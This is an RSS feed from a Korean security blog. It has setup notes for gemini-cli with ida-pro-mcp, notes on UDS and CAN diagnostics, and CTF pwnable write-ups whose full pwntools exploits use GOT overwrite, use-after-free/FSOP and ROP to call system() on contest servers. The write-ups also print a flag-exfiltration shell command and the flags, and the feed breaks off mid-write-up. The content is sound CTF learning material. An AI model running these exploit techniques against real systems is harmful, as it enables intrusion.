<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>chk_pass.log</title>
        <link>https://velog.io/</link>
        <description></description>
        <lastBuildDate>Mon, 26 Jan 2026 05:50:04 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. chk_pass.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/chk_pass" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[gemini-cli와 ida-mcp 연동하기]]></title>
            <link>https://velog.io/@chk_pass/gemini-cli%EC%99%80-ida-mcp-%EC%97%B0%EB%8F%99%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@chk_pass/gemini-cli%EC%99%80-ida-mcp-%EC%97%B0%EB%8F%99%ED%95%98%EA%B8%B0</guid>
            <pubDate>Mon, 26 Jan 2026 05:50:04 GMT</pubDate>
            <description><![CDATA[<ol>
<li><p>gemini cli 설치(node.js 필수)</p>
<pre><code class="language-python">&gt; Set-ExecutionPolicy RemoteSigned #(혹시 오류나면)
 &gt; npm install -g @google/gemini-cli #gemini cli 설치</code></pre>
</li>
<li><p>ida pro 설치되어있을 것</p>
</li>
<li><p>이후 ida-mcp github에서 설치 시 실행하라는 명령어 실행하기</p>
<p> <a href="https://github.com/mrexodia/ida-pro-mcp">https://github.com/mrexodia/ida-pro-mcp</a>
 <code>ida-pro-mcp --install</code>에서 오류 시 </p>
<pre><code class="language-python"> 사용중인 파이썬 경로\Scripts</code></pre>
<p> 등의 경로에 ida-pro-mcp.exe가 존재. 해당 디렉토리에서 명령어 수행할 것</p>
</li>
<li><p>이후 사용자 디렉토리의 <code>.gemini\settings.json</code>에 mcpServers항목이 자동으로 추가되었는지 확인</p>
</li>
<li><p>이후 IDA에서 mcp plugin실행 (단축키 ctrl-alt-m)</p>
<ol>
<li>주의할 점: pc에 파이썬이 다양한 버전으로 깔려있을 경우, 윈도우 자체의 기본 파이썬과 아이다가 사용 중인 파이썬 버전이 일치해야 함</li>
<li>오류가 난다면 settings.json에서 경로 등 확인 및 파이썬 버전, ida가 현재 사용 중인 파이썬 버전 등등 확인-일치하지 않으면 idapyswitch로 맞춰주기)</li>
<li>한번 오류나면 아예 <code>pip uninstall ida-pro-mcp</code> 하고 다시 하는거 추천</li>
</ol>
</li>
<li><p>마지막으로 gemini-cli에서 프롬프트 날려서 제대로 동작하는지 확인하기</p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[UDS]]></title>
            <link>https://velog.io/@chk_pass/UDS</link>
            <guid>https://velog.io/@chk_pass/UDS</guid>
            <pubDate>Sun, 11 Jan 2026 07:16:45 GMT</pubDate>
            <description><![CDATA[<ul>
<li><p>CAN 통신 위에서 동작하는 통합 진단 서비스</p>
</li>
<li><p>CAN에서 data가 UDS 메시지가 된다. 
<br></br></p>
</li>
</ul>
<p>&lt;구조&gt;</p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/d440db53-3374-475b-8281-4f0239b02d84/image.png" alt=""></p>
<p>PCI | SID | DID</p>
<ul>
<li>CAN ID: 메시지를 송수신 할 ECU</li>
<li>PCI: 주로 UDS 메시지의 길이</li>
<li>SID: 서비스 식별자<ul>
<li>Sub Function Byte: SID에 세부적인 옵션</li>
</ul>
</li>
<li>DID: 데이터 식별자
<br></br><h2 id="sid">SID</h2>
</li>
</ul>
<p>목록: <a href="https://en.wikipedia.org/wiki/Unified_Diagnostic_Services">https://en.wikipedia.org/wiki/Unified_Diagnostic_Services</a></p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/e11c15c4-c4e7-48bb-abb8-6391f16d768a/image.png" alt=""></p>
<table>
<thead>
<tr>
<th>Service ID (hex)</th>
<th>Service</th>
</tr>
</thead>
<tbody><tr>
<td>0x10</td>
<td>Diagnostic Session Control</td>
</tr>
<tr>
<td>0x11</td>
<td>ECU Reset</td>
</tr>
<tr>
<td>0x14</td>
<td>Clear Diagnostic Information</td>
</tr>
<tr>
<td>0x19</td>
<td>Read DTC Information</td>
</tr>
<tr>
<td>0x22</td>
<td>Read Data By Identifier</td>
</tr>
<tr>
<td>0x23</td>
<td>Read Memory By Address</td>
</tr>
<tr>
<td>0x27</td>
<td>Security Access</td>
</tr>
<tr>
<td>0x28</td>
<td>Communication Control</td>
</tr>
<tr>
<td>0x2A</td>
<td>Read Data by Periodic ID</td>
</tr>
<tr>
<td>0x2E</td>
<td>Write Data By Identifier</td>
</tr>
<tr>
<td>0x2F</td>
<td>Input Output Control By Identifier</td>
</tr>
<tr>
<td>0x31</td>
<td>Routine Control</td>
</tr>
<tr>
<td>0x34</td>
<td>Request Download</td>
</tr>
<tr>
<td>0x35</td>
<td>Request Upload</td>
</tr>
<tr>
<td>0x36</td>
<td>Transfer Data</td>
</tr>
<tr>
<td>0x37</td>
<td>Transfer Exit</td>
</tr>
<tr>
<td>0x3D</td>
<td>Write Memory By Address</td>
</tr>
<tr>
<td>0x3E</td>
<td>Tester Present</td>
</tr>
<tr>
<td>0x85</td>
<td>Control DTC Setting</td>
</tr>
<tr>
<td><br></br></td>
<td></td>
</tr>
<tr>
<td>## response</td>
<td></td>
</tr>
</tbody></table>
<p>&lt;긍정응답&gt;</p>
<p>ECU가 SID+0x40값으로 응답. </p>
<p>&lt;부정응답&gt;</p>
<p>0x7f라는 error id와 sid, nrc를 반환</p>
<p><code>7f | SID | NRC</code></p>
<p>여기서 nrc는 negative response code로 각 값별로 의미가 다름</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[CAN ID 7DF]]></title>
            <link>https://velog.io/@chk_pass/CAN-ID-7DF</link>
            <guid>https://velog.io/@chk_pass/CAN-ID-7DF</guid>
            <pubDate>Sun, 11 Jan 2026 07:14:32 GMT</pubDate>
            <description><![CDATA[<h3 id="can-id-7df">CAN ID 7DF</h3>
<ul>
<li>외부 진단기기가 차량 내의 모든 ECU(제어기)를 대상으로 보내는 <strong>공통 진단 요청(Functional Request)</strong> 메시지 식별자</li>
<li>일종의 broadcast 역할</li>
<li>response에 대하여</li>
</ul>
<ul>
<li><p>CAN ID <code>0x7DF</code> 요청에 대해 응답하는 ID들은 물리적 응답 ID(Physical Response ID)라고 불리며, 다음과 같은 원리와 의미를 가진다</p>
<ul>
<li><p>응답 ID가 정해지는 원리:</p>
<p> CAN 및 UDS 통신에서 ID는 설계 단계에서 미리 정의된 dbc에 의해 결정.</p>
<ul>
<li><strong>표준 규격 (ISO 15765-4 / OBD-II):</strong> 일반적으로 법적 규제를 받는 배기가스 관련 진단에서는 요청 ID와 응답 ID 사이에 일정한 규칙이 있습니다. 보통 <code>응답 ID = 요청 ID + 8</code>의 공식을 따름</li>
<li><strong>제조사 고유 규격 (OEM Specific):</strong> 하지만 제공해주신 로그처럼 <code>0x70D</code>, <code>0x719</code> 등 다양한 범위의 ID가 나타나는 것은 제조사가 자체적으로 정의한 주소 체계를 사용하기 때문입니다. 각 제어기(ECU)의 펌웨어 설계 시 &quot;7DF라는 공통 호출을 받으면 각자 지정된 고유 ID로 응답하라&quot;는 규칙이 심어져 있습니다.</li>
</ul>
</li>
<li><p>응답 ID의 의미: ECU의 신분증</p>
<p> 각 응답 ID는 차량 내에서 특정 하드웨어(제어기)를 상징합니다. 로그에 등장하는 ID들은 다음과 같은 의미를 갖습니다.</p>
<ul>
<li><strong>개별 제어기 식별:</strong> <code>0x70D</code>, <code>0x719</code>, <code>0x72D</code>, <code>0x79C</code>, <code>0x7F9</code> 등은 모두 차량 내의 서로 다른 제어기들입니다. 예를 들어 하나는 엔진 제어기(ECU), 다른 하나는 변속기 제어기(TCU), 또 다른 하나는 브레이크 제어기(ABS)일 수 있습니다.</li>
<li><strong>1:1 통신 채널:</strong> 외부 진단기가 특정 제어기와 깊이 있는 데이터(코딩, 소프트웨어 업데이트 등)를 주고받으려면, 공통 ID인 <code>0x7DF</code>가 아니라 이 응답 ID들과 짝을 이루는 <strong>물리적 요청 ID(Physical Request ID)</strong>를 사용하여 1:1로 통신해야 합니다.</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><br></br></p>
<h3 id="7df-메시지와-uds">&lt;7DF 메시지와 UDS&gt;</h3>
<ul>
<li>CAN ID <code>0x7DF</code>가 반드시 UDS(ISO 14229) 프로토콜만을 의미하는 것은 아니지만 자동차의 진단 체계 내에서 <code>0x7DF</code>는 진단을 위한 &#39;입구&#39; 역할을 하기 때문에 UDS와 매우 밀접하게 연결된다</li>
<li>이해를 돕기 위해 <code>0x7DF</code>가 사용되는 두 가지 주요 프로토콜을 비교해보자</li>
</ul>
<pre><code>| **구분** | **OBD-II (표준 진단)** | **UDS (제조사 진단)** |
| --- | --- | --- |
| **목적** | 배기가스 관련 법규 준수, 공통 데이터 조회 | 차량 전체 시스템 제어, 코딩, 펌웨어 업데이트 |
| **SID 범위** | **0x01 ~ 0x09** (예: 01은 실시간 데이터) | **0x10 ~ 0x3E** (예: 22는 데이터 읽기) |
| **범용성** | 모든 차량이 동일한 명령 사용 | 제조사마다 명령과 응답이 다를 수 있음 |
| **접근 권한** | 누구나 자유롭게 조회 가능 | 보안 액세스(Seed/Key)가 필요한 경우가 많음 |</code></pre><ul>
<li><p>구분의 실제</p>
<ul>
<li>request와 response 메시지의 문법을 확인한다.<ul>
<li>SID가 UDS에서 정의된 형식인지, OBD-2에서 정의된 형식인지 확인.</li>
<li>그에 따른 응답이 알려진 UDS 응답의 형식과 일치하는지 확인</li>
</ul>
</li>
</ul>
</li>
<li><p><code>0x7DF</code>는 진단기기가 차량에 말을 거는 &#39;공통 채널&#39;일 뿐이며, 그 안에 담긴 서비스 ID에 따라 UDS 통신이 될 수도, OBD-2 진단이 될 수도 있음</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Whitehat 2025 Quals] Pwnable WriteUp]]></title>
            <link>https://velog.io/@chk_pass/Whitehat-2025-Quals-Pwnable-WriteUp</link>
            <guid>https://velog.io/@chk_pass/Whitehat-2025-Quals-Pwnable-WriteUp</guid>
            <pubDate>Sat, 18 Oct 2025 11:41:42 GMT</pubDate>
            <description><![CDATA[<p>비록 시험이 모레지만 깔짝해봤다..
생각보다 재밌었던거같다.
오랜만에 정석 포너블 느낌... 
시험기간이라 라업이 자세하진않을 예정
<br></br></p>
<h2 id="search-and-attack"><strong>Search And Attack</strong></h2>
<p>먼저 서버 주소를 구해야한다.</p>
<p>악성코드파일이랑 서버에서 실행되는 파일 2개를 준다. 
서버는 c코드까지 준다. </p>
<p><br></br></p>
<p>악성프로그램을 먼저 확인해서 서버 주소를 찾아야 한다. </p>
<p><code>sub_114D0</code> 에서 c&amp;c 서버의 ip 주소를 동적으로 생성함. 
그 부분에 브포를 걸고 동적으로 확인하면 아래 사진 처럼 43.200.123.226이라는 주소값을 구할 수 있다.
아니면 <code>sub_10F20</code>함수 동적으로 확인해도됨 </p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/62fcd8e0-43b1-40ce-a9d2-1c0bae86eac2/image.png" alt="">
<img src="https://velog.velcdn.com/images/chk_pass/post/64e594d1-6f10-46b3-a192-bcd7c4784856/image.png" alt=""></p>
<p>그 주소로 아래처럼 nc로 접속해보면 응답이 오는 것을 확인할 수 있다. 
<img src="https://velog.velcdn.com/images/chk_pass/post/bcb38d5a-3e65-4ffa-91d7-f442463e9d33/image.png" alt=""></p>
<p>취약점: bots 배열에 접근하는 인덱스에 검증이 없어 음수로도 가능 + partial Relro
<br></br>
-1로 DETAIL기능을 이용하면 got를 이용해 libc leak가능</p>
<p>-1로 UPDATE기능을 이용하면 got overwrite가능
⇒ strtok의 got를 system으로 overwrite하고 다음에 &quot;cat flag &gt;&amp;4\0”를 전송해 system(&quot;cat flag &gt;&amp;4\0”)이 실행되도록 한다. </p>
<p>*주의할점: 서버의 출력이 나한테 보이는 게 아니라서 그냥 cat flag나 /bin/sh를 실행한다고 내가 flag를 얻거나 쉘을 얻을 수 있는게 아님. 리버스쉘로 붙거나 fd를 리다이렉트해야함
<br></br>
&lt;전체 익스 코드&gt;</p>
<pre><code class="language-python">from pwn import *

context.log_level = &quot;debug&quot;

p = remote(&quot;43.200.123.226&quot;, 8080)
#p = remote(&quot;localhost&quot;, 8080)

#1. libc base 구하기========================================

p.sendline(b&quot;DETAIL|-1&quot;)

for i in range(8):
    p.recvuntil(b&quot;|&quot;)

libc_base = u64(p.recv(6)+b&quot;\x00\x00&quot;) - 0x1395a0
log.info(hex(libc_base))

LIBC_SYSTEM_OFFSET =  0x58750 


BOTS_ARRAY_ADDR = 0x000000406160
STRTOK_GOT_ADDR = 0x0000004060d8 



def send_command(r, cmd_type, *args):
    payload = cmd_type
    for arg in args:
        payload += b&quot;|&quot; + arg

    r.sendline(payload)

system_libc_addr = libc_base + LIBC_SYSTEM_OFFSET
log.success(f&quot;Calculated system@libc address: {hex(system_libc_addr)}&quot;)

# 2. strtok@GOT를 system주소로 overwrite =======================
log.info(&quot;Attempting to overwrite strtok@GOT...&quot;)


overwrite_payload = p64(libc_base+0x1395a0)+p64(0x12b960+libc_base) + p64(libc_base+0x9cbc0) + p64(libc_base+0x28a93)
overwrite_payload += p64(system_libc_addr)*3

# overwrite_payload가 ram_info 버퍼(64바이트) 내에 들어가는지 확인
if len(overwrite_payload) &gt; 64:
    log.error(&quot;ram_info를 위한 덮어쓰기 페이로드가 너무 큽니다. 종료합니다.&quot;)
    p.close()
    exit()

# 다른 필드는 더미 데이터로 채웁니다.
hostname_filler = b&quot;&quot;
username_filler = b&quot;&quot;
public_ip_filler = b&quot;&quot;
private_ip_filler = b&quot;&quot;
os_info_filler = b&quot;&quot;
cpu_info_filler = b&quot;&quot;
disk_info_filler =b&quot;&quot;

# UPDATE 명령어 인자 구성
# UPDATE|bot_id|hostname|username|public_ip|private_ip|os_info|cpu_info|ram_info|disk_info
update_cmd_args = [
    str(TARGET_BOT_ID).encode(),
    hostname_filler,
    username_filler,
    public_ip_filler,
    private_ip_filler,
    os_info_filler,
    cpu_info_filler,
    overwrite_payload, # ram_info가 덮어쓰기 대상
    disk_info_filler
]

log.info(f&quot;strtok@GOT를 덮어쓰기 위한 UPDATE 명령어 전송 중...&quot;)

send_command(p, b&quot;UPDATE&quot;, *update_cmd_args)
p.recvuntil(b&quot;OK&quot;)

#3. system함수 실행하기 ===================

pause()

p.sendline(b&quot;cat flag &gt;&amp;4\0&quot;)

p.interactive()</code></pre>
<p><br></br></p>
<h2 id="sleeping-cc"><strong>Sleeping C&amp;C</strong></h2>
<p>바이너리 간단한 구조는 다음과 같다.</p>
<ul>
<li>전역변수로 bot_list존재 (5개짜리 void 배열)</li>
<li>bot_list에 들어있는 청크(0x20)의 구조 |ip청크주소|info청크주소|status정수값|</li>
<li>ip청크는 0x18, info 청크는 0x500바이트임</li>
</ul>
<p>즉, 하나의 덩어리가 총 3개의 청크로 구성
<br></br></p>
<p>취약점1: free한 청크의 내용을 초기화하지 않아 unsorted bin을 해제 및 재할당하고(0x500짜리 info 부분) 한바이트만 read시키고 출력하면 libc leak가능</p>
<p>취약점2: free한 다음 bot_list에서 해당 주소값을 없애지 않는다. 따라서 update를 이용해 해제된 청크에 접근이 가능하다.
⇒ 따라서 한 덩어리를 추가로 할당한 상태에서 또 해제, 그리고 send quick command로 0x20을 할당하고 원하는 주소값을 +8바이트에 넣기 (맨 첫 8바이트도 값을 쓰는데에 유효한 주소여야함. 해제된 덩어리에 대해서 임의의 |ip청크주소|info청크주소|를 구성하는 거임. 이 구조체도 0x20짜리라서 해제한다음 command를 만들면 원래 이 구조체였던 해제된 청크를 할당받을 수 있음)
=&gt;이후 idx 0에 대해 update를 하면 info 넣을 차례에 내가 넣은 주소값에 대해서 read를 수행할 수 있다.(무려 0x500바이트나!!)
<br></br>
따라서 1을 이용해 libc leak하고 2를 이용해 stdout구조체에 fsop를 하면 된다. 
<br></br>
&lt;전체 익스 코드&gt;</p>
<pre><code class="language-python">from pwn import *

context.log_level = &#39;debug&#39;
context.arch = &#39;amd64&#39;

# 바이너리 실행
#p = process(&quot;./prob&quot;)
# 원격 서버에 연결
p = remote(&quot;16.184.27.225&quot;, 12345)
libc = ELF(&quot;./libc.so.6&quot;)

def add_slave(ip, info, status):
    p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;1&quot;)
    p.sendlineafter(b&quot;: &quot;, ip)
    p.sendlineafter(b&quot;: &quot;, info)
    p.sendlineafter(b&quot;: &quot;, str(status).encode())

def update_slave(idx, ip, info, status):
    p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;2&quot;)
    p.sendlineafter(b&quot;: &quot;, str(idx).encode())
    p.sendafter(b&quot;: &quot;, ip)
    p.sendafter(b&quot;: &quot;, info)
    p.sendlineafter(b&quot;: &quot;, str(status).encode())

p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;4&quot;)
p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;5&quot;)

add_slave(b&quot;10&quot;, b&quot;&quot;, 0)

p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;4&quot;)

p.recvuntil(b&quot;(info : &quot;)

#0x203b0a

#1. libc leak =======================================
#use after free와 unsorted bin을 이용한 libc leak. 
#한번 해제하고 할당시켜 한바이트만 입력하고 출력시키면 한바이트빼고는 이전에 들어간 libc 관련 값이 출력.
libc_base = u64(p.recv(6)+b&quot;\x00\x00&quot;) - 0x203b0a 
log.info(hex(libc_base))

#2. fsop==========================================

&#39;&#39;&#39;일단 할당된 상태에서 다 해제. 그리고 send로 0x20을 할당. +원하는 주소값 넣어놓기
-&gt; update로 그 idx에 대해서 쓰기 하면 내가 넣은 주소값에 대해서 update수행. &#39;&#39;&#39;

#-27
p.sendline(b&quot;1&quot;)
p.sendlineafter(b&quot;: &quot;, b&quot;0&quot;)
p.sendlineafter(b&quot;: &quot;, b&quot;AA&quot;)
p.sendlineafter(b&quot;: &quot;, str(0).encode())

p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;4&quot;)
p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;5&quot;)

p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;3&quot;)
p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;1&quot;)
pause()
p.sendafter(b&quot;:\n&quot;, p64(libc_base+0x2045c0)+p64(libc_base+0x2045c0))

libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b&quot;&quot;, vtable = 0, more_append = b&quot;&quot;):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b&quot;&quot;:
        FSOP += b&quot;\x00&quot;*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b&quot;\x00&quot;)

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

_IO_file_jumps = libc.symbols[&#39;_IO_file_jumps&#39;]
stdout = libc.symbols[&#39;_IO_2_1_stdout_&#39;]
log.info(&quot;stdout: &quot; + hex(stdout))
FSOP = FSOP_struct(flags = u64(b&quot;\x01\x01;sh;\x00\x00&quot;), \
        lock            = libc.symbols[&#39;_IO_2_1_stdout_&#39;] + 0x10, \
        _IO_read_ptr    = 0x0, \
        _IO_write_base  = 0x0, \
        _wide_data      = libc.symbols[&#39;_IO_2_1_stdout_&#39;] - 0x10, \
        _unused2        = p64(libc.symbols[&#39;system&#39;])+ b&quot;\x00&quot;*4 + p64(libc.symbols[&#39;_IO_2_1_stdout_&#39;] + 196 - 104), \
        vtable          = libc.symbols[&#39;_IO_wfile_jumps&#39;] - 0x20, \
        )

#indx 0에 대해 update
update_slave(0, b&quot;a&quot;, FSOP, 1)

p.interactive()
#whitehat2025{355f477ac132f7ae0deaa7ade74a77f2749875b1f605b0e2430fb6ba29d47ac279baab076df751816ae0fbe68cf72f6491af05bc437e5664b728}</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[CCE 2024 Quals] Untrusted Compiler & haha WriteUp]]></title>
            <link>https://velog.io/@chk_pass/CCE-2024-Quals-Untrusted-Complier-haha-WriteUp</link>
            <guid>https://velog.io/@chk_pass/CCE-2024-Quals-Untrusted-Complier-haha-WriteUp</guid>
            <pubDate>Sat, 02 Aug 2025 10:35:46 GMT</pubDate>
            <description><![CDATA[<p>2025년도 cce 예선 전에 작년 문제를 풀어보려고 했는데, 마침 cce에서 현제 제공하고 있는 모의체험장에 있는 문제들이 작년 문제인 것 같아서 업솔빙하고 라업을 작성해보려고 한다. </p>
<p>모의체험장 링크: <a href="https://apollo2.cstec.kr/challenges">https://apollo2.cstec.kr/challenges</a></p>
<p>일단 검색해보면 라업이 몇 개 있는 거로 봐서 Untrusted Complier는 작년 예선 문제인 것 같은데 haha는 나오는 라업이 하나도 없어서 작년 문제가 맞는지 정확하게는 모르겠다. 그래도 Untrusted Compiler랑 동일하게 flag가 cce2024로 시작하는걸 보면 작년에 출제되었던 문제는 맞는 것 같다.</p>
<h2 id="untrusted-compiler">Untrusted Compiler</h2>
<p>이 문제는 특이하게도 소스코드를 그냥 준다. </p>
<pre><code class="language-c">//gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector

#include &lt;stdio.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;time.h&gt;

uint32_t random_list[10] = {0,};
uint64_t total_random = 0;

void banner()
{
    printf(&quot;                        __                                  _ _           \n&quot;);
    printf(&quot; _   _ _ __  ___  __ _ / _| ___    ___ ___  _ __ ___  _ __ (_) | ___ _ __ \n&quot;);
    printf(&quot;| | | | &#39;_ \\/ __|/ _` | |_ / _ \\  / __/ _ \\| &#39;_ ` _ \\| &#39;_ \\| | |/ _ \\ &#39;__|\n&quot;);
    printf(&quot;| |_| | | | \\__ \\ (_| |  _|  __/ | (_| (_) | | | | | | |_) | | |  __/ |   \n&quot;);
    printf(&quot; \\__,_|_| |_|___/\\__,_|_|  \\___|  \\___\\___/|_| |_| |_| .__/|_|_|\\___|_|   \n&quot;);
    printf(&quot;                                                     |_|                  \n\n&quot;);
}

void init(){
    srand(time(NULL));
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    banner();

    printf(&quot;Start setting 10 randoms...\n&quot;);

    for(int i = 0; i &lt; 10; i++)
    {
        uint32_t random = rand();
        random_list[i] = random;
        total_random += random;
    }

    printf(&quot;done!\n\n&quot;);

    printf(&quot;Guess the random value XD\n\n&quot;);
}

void flush()
{
    int c;
    while ((c = getchar()) != &#39;\n&#39; &amp;&amp; c != EOF);
}

void guess()
{
    uint16_t idx = 0;
    uint32_t score_list[10] = {0,};
    uint32_t input_list[10] = {0,};
    uint64_t score_sum = 0;

    while ((random_list[idx] &lt; UINT32_MAX) &amp;&amp; (idx &lt; 10)) {
        printf(&quot;input %d: &quot;,idx);
        scanf(&quot;%d&quot;, &amp;input_list[idx]);
        flush();
        if(input_list[idx] == random_list[idx])
            score_list[idx] = random_list[idx];

        score_sum += score_list[idx];
        idx++;
        if(score_sum &gt;= total_random){
            return;
    }
  }
}

int main()
{
    init();

    guess();
}</code></pre>
<p>그래서 소스코드를 한번 봐보면, 딱히 취약한 부분이 보이지 않는다. 
그런데 맨위 주석처리된 명령어와 도커파일을 보면 위 소스코드를 다음 명령어로 컴파일한다는 사실을 알 수 있다. 
<code>gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector</code> 
즉, 최적화 옵션을 주고 컴파일하고 있다. </p>
<p>아마 컴파일 과정에서 최적화가 일어나면서 코드에 취약점이 발생하는 것일 것이다. 문제이름도 &quot;Untrusted&quot; Complier니까 꽤나 친절하다. </p>
<p>그러면 저 옵션을 주고 컴파일을 한 다음 IDA로 까보자. 
<img src="https://velog.velcdn.com/images/chk_pass/post/bf6d2a1a-5041-4987-bac7-c8649f85bcb5/image.png" alt="">
최적화로 인해서 while문의 종료조건에 변화가 생긴것을 확인할 수 있다. 
원래 <code>while ((random_list[idx] &lt; UINT32_MAX) &amp;&amp; (idx &lt; 10))</code> 라는 검증이 있어 idx가 10 이상이 되면 무조건 종료되는데, IDA로 디컴파일한 코드를 보면 idx에 대해서는 검증이 사라졌다. 
while문의 종료조건은<code>score_sum &lt; total_random</code>과 <code>random_list[idx] == -1</code> 뿐이므로 저 둘 중 하나에 해당되지 않는 이상 계속해서 idx를 증가시켜 스택에 존재하는 정수 배열에 값을 저장할 것이므로 ret까지도 원하는 값을 쓸 수 있을 것이다. </p>
<p>그렇다면 이 취약점을 이용해서 4바이트씩 값을 써 rop 체인을 스택에 쓰고 페이로드가 완성되었을 때 종료조건이 만족되도록해서 내가 입력해놓은 페이로드가 실행되게 하면 된다. </p>
<p>나는 이런 식으로 우선 got를 이용해 libc 주소를 leak한 뒤 위 함수로 다시 리턴하도록 만들었고, 그러면 또다시 rop를 할 수 있게 되므로 이때에 구한 libc base를 이용해 system함수를 실행시키는 형태로 익스했다. 종료 조건의 경우에는 약간의 노가다를 통해 직접 디버깅하면서 적절한 값을 찾아주어 rop 체인이 완성되고 나서 함수가 종료될 수 있도록 만들어주었다. 문제 풀때 머리쓰기 싫어서 이렇게 한거였는데 지금 생각해보니 그냥 머리를 쓰는게 더 효율적이었을 거 같다</p>
<p>최종 익스코드는 아래와 같다. </p>
<pre><code class="language-python">from pwn import *

context.log_level = &quot;debug&quot;

#p = process(&quot;./chall&quot;)
p = remote(&quot;43.202.156.51&quot;, 1337)
#p = remote(&quot;localhost&quot;, 1337) 
libc = ELF(&quot;./libc.so.6&quot;)
poprdi = 0x0000000000401444
ret = 0x000000000040101a 
rand_got =0x404038
puts_plt = 0x0000004010b0
guess = 0x00401370
system_offset = libc.symbols[&#39;system&#39;]
binsh_offset = 0x1d8678

def input_num(n):
    p.sendlineafter(&quot;input &quot;, str(n).encode())



for i in range(2):
    input_num(0xffffffff)

for i in range(0x13):
    input_num(i)

input_num(0xffffffff)
input_num(0xffffffff)

for i in range(24-0x13-2  ):
    input_num(i)


input_num(poprdi)
input_num(0)
input_num(rand_got)
input_num(0)
input_num(puts_plt)
input_num(0)
input_num(guess)
input_num(0)
input_num(0x7fffffff)


p.recvuntil(b&quot;34: &quot;)
libc_base = u64(p.recv(6)+b&quot;\x00\x00&quot;) - 0x815f0
log.info(hex(libc_base))


for i in range(2):
    input_num(0xffffffff)

for i in range(0x13):
    input_num(i)

input_num(0xffffffff)
input_num(0xffffffff)

for i in range(24-0x13-2  ):
    input_num(i)


input_num(poprdi)
input_num(0)
input_num((libc_base + binsh_offset)&amp;0xffffffff)
input_num((libc_base + binsh_offset)&gt;&gt;32)
input_num(ret)
input_num(0)
input_num((system_offset + libc_base)&amp;0xffffffff)
pause()
input_num((system_offset + libc_base)&gt;&gt;32)

p.interactive()
#cce2024{660cefeb55c12e7f8d374609f8a33942227e7206ae4ff67a34eccaac234bb10df8b7b6d9f9523658ac7a00f4863db39093ad8919053511a2d5583dca9ce0c7894676}</code></pre>
<p><br></br></p>
<h2 id="haha">haha</h2>
<p>이 문제는 바이너리만 주어져 있다.
디컴파일해보면 메인함수는 아래와 같다.</p>
<pre><code class="language-c">int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf(&quot;%d&quot;, &amp;idx);
    if ( idx == 4 )
    {
      puts(&quot;BYE&quot;);
      exit(0);
    }
    if ( idx &gt; 4 )
    {
LABEL_12:
      puts(&quot;invaild input&quot;);
    }
    else
    {
      switch ( idx )
      {
        case 3:
          view();
          break;
        case 1:
          create();
          break;
        case 2:
          edit();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}</code></pre>
<p>일반적인 힙 문제랑 비슷한 구조인데, 특이한 점이 하나 있다면 free하는 함수가 없다는 것이다. free를 하지 않는다면 tcache나 bin에 청크가 들어갈 일이 없으니까 이를 통해 아마 힙 자체의 취약점을 이용한 문제는 아닐 것이라는 걸 추측해볼 수 있다. </p>
<p>다음으로 create함수를 살펴보자. </p>
<pre><code class="language-c">__int64 create()
{
  int temp_index; // ebx
  size_t v2; // rax
  int idx; // [rsp+Ch] [rbp-24h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-18h]

  canary = __readfsqword(0x28u);
  printf(&quot;index: &quot;);
